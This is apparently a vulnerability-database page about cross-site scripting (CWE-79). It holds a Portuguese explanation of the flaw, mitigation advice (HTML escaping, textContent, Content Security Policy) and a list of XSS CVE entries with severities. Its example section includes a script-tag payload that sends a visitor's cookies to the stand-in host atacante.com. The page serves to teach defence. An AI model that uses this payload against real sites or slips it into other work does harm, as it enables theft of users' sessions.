Fallos del tipo CWE-79

30.112 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-5319MEDIUMitsourcecode Payroll Management System navbar.php cross site scriptingEPSS 0.3%CVE-2025-11278MEDIUMAllStarLink Supermon AllMon2 cross site scriptingEPSS 0.3%CVE-2026-11594HIGHIBM WebSphere Application Server is affected by multiple cross-site scripting vulnerabilitiesEPSS 0.3%CVE-2022-4901LOWMultiple stored XSS vulnerabilities in Sophos Connect versions older than 2.2.90 allow Javascript code to run in the local UI via a maliciouEPSS 0.3%CVE-2025-46841MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2024-12091HIGHStored Cross-site Scripting (XSS) vulnerability affecting ENOVIA Collaborative Industry Innovator from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2024xEPSS 0.3%CVE-2026-27740MEDIUMDiscourse has Stored XSS in AI Triage AutomationEPSS 0.3%CVE-2025-46855MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-46847MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-46844MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-46843MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2024-56410MEDIUMPhpSpreadsheet has Cross-Site Scripting (XSS) vulnerability in custom propertiesEPSS 0.3%CVE-2025-46838MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2025-3801MEDIUMsongquanpeng one-api System Setting cross site scriptingEPSS 0.3%CVE-2026-5630MEDIUMassafelovic gpt-researcher Report API app.py cross site scriptingEPSS 0.3%CVE-2026-118244HIGHHighcharts Core: AST `DOMParser` fallback assigns unsanitized markup to `innerHTML` during printEPSS 0.3%CVE-2022-36244MEDIUMMultiple Stored Cross-Site Scripting Vulnerabilities on Shop Beat ServicesEPSS 0.3%CVE-2024-10091MEDIUMElementsKit Elementor addons <= 3.2.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Image Comparison WidgetEPSS 0.3%CVE-2026-56809MEDIUMMultiple laser printers and MFPs (multifunction printers) which implement Ricoh Web Image Monitor contain a reflected cross-site scripting vEPSS 0.3%CVE-2023-37528MEDIUMA cross-site scripting (XSS) vulnerability affects HCL BigFix PlatformEPSS 0.3%